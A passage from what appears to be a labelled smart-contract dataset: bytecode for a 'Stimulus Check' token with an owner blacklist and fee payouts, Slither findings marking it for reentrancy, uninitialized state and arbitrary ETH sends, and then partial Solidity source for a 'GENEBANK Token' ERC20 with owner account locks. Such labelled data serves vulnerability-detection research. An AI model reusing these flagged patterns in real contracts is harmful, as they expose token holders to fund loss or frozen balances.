d554c555300000000000000000000000000000000000000000000000081525081565b610f4e6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461100e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b81518110156110925760016007600084848151811061102c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611011565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110d76119fd565b73ffffffffffffffffffffffffffffffffffffffff16146110f757600080fd5b600061110230610c18565b905061110d8161269a565b50565b6111186119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff161561125b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506112eb30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611a05565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561133157600080fd5b505afa158015611345573d6000803e3d6000fd5b505050506040513d602081101561135b57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156113ce57600080fd5b505afa1580156113e2573d6000803e3d6000fd5b505050506040513d60208110156113f857600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561147257600080fd5b505af1158015611486573d6000803e3d6000fd5b505050506040513d602081101561149c57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061153630610c18565b600080611541610e89565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b1580156115c657600080fd5b505af11580156115da573d6000803e3d6000fd5b50505050506040513d60608110156115f157600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff021916908315150217905550683635c9adc5dea000006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561174f57600080fd5b505af1158015611763573d6000803e3d6000fd5b505050506040513d602081101561177957600080fd5b81019080805190602001909291905050505050565b6040518060400160405280600e81526020017f5374696d756c757320436865636b00000000000000000000000000000000000081525081565b6117cf6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461188f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008111611905576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b611934606461192683683635c9adc5dea0000061298490919063ffffffff16565b612a0a90919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613f5f6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613ea66022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613f3a6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613e596023913960400191505060405180910390fd5b60008111611d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613f116029913960400191505060405180910390fd5b611d69610e89565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611dd75750611da7610e89565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561239857601360179054906101000a900460ff161561203d573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e5957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611eb35750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611f0d5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561203c57601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611f536119fd565b73ffffffffffffffffffffffffffffffffffffffff161480611fc95750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611fb16119fd565b73ffffffffffffffffffffffffffffffffffffffff16145b61203b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461212d5760145481111561207f57600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156121235750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61212c57600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121d85750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561222e5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156122465750601360179054906101000a900460ff165b156122de5742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061229657600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006122e930610c18565b9050601360159054906101000a900460ff161580156123565750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561236e5750601360169054906101000a900460ff165b156123965761237c8161269a565b60004790506000811115612394576123934761251b565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061243f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561244957600090505b61245584848484612a54565b50505050565b6000838311158290612508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156124cd5780820151818401526020810190506124b2565b50505050905090810190601f1680156124fa5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61256b600284612a0a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612596573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6125e7600284612a0a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612612573d6000803e3d6000fd5b5050565b6000600a54821115612673576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613e7c602a913960400191505060405180910390fd5b600061267d612cab565b90506126928184612a0a90919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff811180156126cf57600080fd5b506040519080825280602002602001820160405280156126fe5781602001602082028036833780820191505090505b509050308160008151811061270f57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156127b157600080fd5b505afa1580156127c5573d6000803e3d6000fd5b505050506040513d60208110156127db57600080fd5b8101908080519060200190929190505050816001815181106127f957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061286030601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611a05565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612924578082015181840152602081019050612909565b505050509050019650505050505050600060405180830381600087803b15801561294d57600080fd5b505af1158015612961573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156129975760009050612a04565b60008284029050828482816129a857fe5b04146129ff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613ec86021913960400191505060405180910390fd5b809150505b92915050565b6000612a4c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612cd6565b905092915050565b80612a6257612a61612d9c565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612b055750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612b1a57612b15848484612ddf565b612c97565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612bbd5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612bd257612bcd84848461303f565b612c96565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612c745750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612c8957612c8484848461329f565b612c95565b612c94848484613594565b5b5b5b80612ca557612ca461375f565b5b50505050565b6000806000612cb8613773565b91509150612ccf8183612a0a90919063ffffffff16565b9250505090565b60008083118290612d82576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612d47578082015181840152602081019050612d2c565b50505050905090810190601f168015612d745780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612d8e57fe5b049050809150509392505050565b6000600c54148015612db057506000600d54145b15612dba57612ddd565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612df187613a20565b955095509550955095509550612e4f87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ee486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f7985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fc581613b5a565b612fcf8483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061305187613a20565b9550955095509550955095506130af86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061314483600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131d985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061322581613b5a565b61322f8483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806132b187613a20565b95509550955095509550955061330f87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133a486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061343983600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134ce85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061351a81613b5a565b6135248483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806135a687613a20565b95509550955095509550955061360486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061369985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506136e581613b5a565b6136ef8483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b6009805490508110156139d5578260026000600984815481106137ad57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180613894575081600360006009848154811061382c57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156138b257600a54683635c9adc5dea0000094509450505050613a1c565b61393b60026000600984815481106138c657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484613a8890919063ffffffff16565b92506139c6600360006009848154811061395157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483613a8890919063ffffffff16565b9150808060010191505061378e565b506139f4683635c9adc5dea00000600a54612a0a90919063ffffffff16565b821015613a1357600a54683635c9adc5dea00000935093505050613a1c565b81819350935050505b9091565b6000806000806000806000806000613a3d8a600c54600d54613d39565b9250925092506000613a4d612cab565b90506000806000613a608e878787613dcf565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000613aca83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061245b565b905092915050565b600080828401905083811015613b50576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613b64612cab565b90506000613b7b828461298490919063ffffffff16565b9050613bcf81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613cfa57613cb683600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613d1482600a54613a8890919063ffffffff16565b600a81905550613d2f81600b54613ad290919063ffffffff16565b600b819055505050565b600080600080613d656064613d57888a61298490919063ffffffff16565b612a0a90919063ffffffff16565b90506000613d8f6064613d81888b61298490919063ffffffff16565b612a0a90919063ffffffff16565b90506000613db882613daa858c613a8890919063ffffffff16565b613a8890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613de8858961298490919063ffffffff16565b90506000613dff868961298490919063ffffffff16565b90506000613e16878961298490919063ffffffff16565b90506000613e3f82613e318587613a8890919063ffffffff16565b613a8890919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122082e61da01ef53b0dcea0632bc74c8a258efe891ec6d2b08264e1d7fda2daf2bc64736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 173 |
0x7aa46a51f717404d944051af3075bbcb49b2288b | /**
*Submitted for verification at Etherscan.io on 2021-05-06
*/
pragma solidity ^0.5.11;
library SafeMath{
/**
* Returns the addition of two unsigned integers, reverting on
* overflow.
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
/**
* Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* - Subtraction cannot overflow.
*
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
}
contract owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner,"ERC20: Required Owner !");
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require (newOwner != address(0),"ERC20 New Owner cannot be zero address");
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes calldata _extraData) external ; }
contract TOKENERC20 {
using SafeMath for uint256;
event TransferEnabled (bool);
event TransferDisabled (bool);
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
uint256 internal limit = 10000000000000000000000000;
/* This generates a public event on the blockchain that will notify clients */
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Mint(address indexed from, uint256 value);
constructor(
uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
TransferAllowed = true;
}
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) private _allowance;
mapping (address => bool) public LockList;
mapping (address => uint256) public LockedTokens;
bool public TransferAllowed;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint256 _value) internal {
uint256 stage;
require(_from != address(0), "ERC20: transfer from the zero address");
require(_to != address(0), "ERC20: transfer to the zero address"); // Prevent transfer to 0x0 address. Use burn() instead
require (LockList[msg.sender] == false,"ERC20: Caller Locked !"); // Check if msg.sender is locked or not
require (LockList[_from] == false, "ERC20: Sender Locked !");
require (LockList[_to] == false,"ERC20: Receipient Locked !");
require (TransferAllowed == true,"ERC20: Transfer enabled false !");
// Check if sender balance is locked
stage=balanceOf[_from].sub(_value, "ERC20: transfer amount exceeds balance");
require (stage >= LockedTokens[_from],"ERC20: transfer amount exceeds Senders Locked Amount");
//Deduct and add balance
balanceOf[_from]=stage;
balanceOf[_to]=balanceOf[_to].add(_value,"ERC20: Addition overflow");
//emit Transfer event
emit Transfer(_from, _to, _value);
}
/**
* Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address _spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(_spender != address(0), "ERC20: approve to the zero address");
_allowance[owner][_spender] = amount;
emit Approval(owner, _spender, amount);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns(bool){
_transfer(msg.sender, _to, _value);
return true;
}
function burn(uint256 _value) public returns(bool){
require (LockList[msg.sender] == false,"ERC20: User Locked !");
uint256 stage;
stage=balanceOf[msg.sender].sub(_value, "ERC20: transfer amount exceeds balance");
require (stage >= LockedTokens[msg.sender],"ERC20: transfer amount exceeds Senders Locked Amount");
balanceOf[msg.sender]=balanceOf[msg.sender].sub(_value,"ERC20: Burn amount exceeds balance.");
totalSupply=totalSupply.sub(_value,"ERC20: Burn amount exceeds total supply");
emit Burn(msg.sender, _value);
emit Transfer(msg.sender, address(0), _value);
return true;
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param Account address
*
* @param _value the amount of money to burn
*
* Safely check if total supply is not overdrawn
*/
function burnFrom(address Account, uint256 _value) public returns (bool success) {
require (LockList[msg.sender] == false,"ERC20: User Locked !");
require (LockList[Account] == false,"ERC20: Owner Locked !");
uint256 stage;
require(Account != address(0), "ERC20: Burn from the zero address");
_approve(Account, msg.sender, _allowance[Account][msg.sender].sub(_value,"ERC20: burn amount exceeds allowance"));
//Do not allow burn if Accounts tokens are locked.
stage=balanceOf[Account].sub(_value,"ERC20: Transfer amount exceeds allowance");
require(stage>=LockedTokens[Account],"ERC20: Burn amount exceeds accounts locked amount");
balanceOf[Account] =stage ; // Subtract from the sender
//Deduct burn amount from totalSupply
totalSupply=totalSupply.sub(_value,"ERC20: Burn Amount exceeds totalSupply");
emit Burn(Account, _value);
emit Transfer(Account, address(0), _value);
return true;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
_transfer(_from, _to, _value);
_approve(_from,msg.sender,_allowance[_from][msg.sender].sub(_value,"ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
* Emits Approval Event
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
uint256 unapprovbal;
// Do not allow approval if amount exceeds locked amount
unapprovbal=balanceOf[msg.sender].sub(_value,"ERC20: Allowance exceeds balance of approver");
require(unapprovbal>=LockedTokens[msg.sender],"ERC20: Approval amount exceeds locked amount ");
_allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
function allowance(address _owner,address _spender) public view returns(uint256){
return _allowance[_owner][_spender];
}
}
contract GENEBANKToken is owned, TOKENERC20 {
/* Initializes contract with initial supply tokens to the creator of the contract */
constructor () TOKENERC20(
10000000000 * 1 ** uint256(decimals),
"GENEBANK Token",
"GNBT") public {
}
/**
* User Lock
*
* @param Account the address of account to lock for transaction
*
* @param mode true or false for lock mode
*
*/
function UserLock(address Account, bool mode) onlyOwner public {
LockList[Account] = mode;
}
/**
* Lock tokens
*
* @param Account the address of account to lock
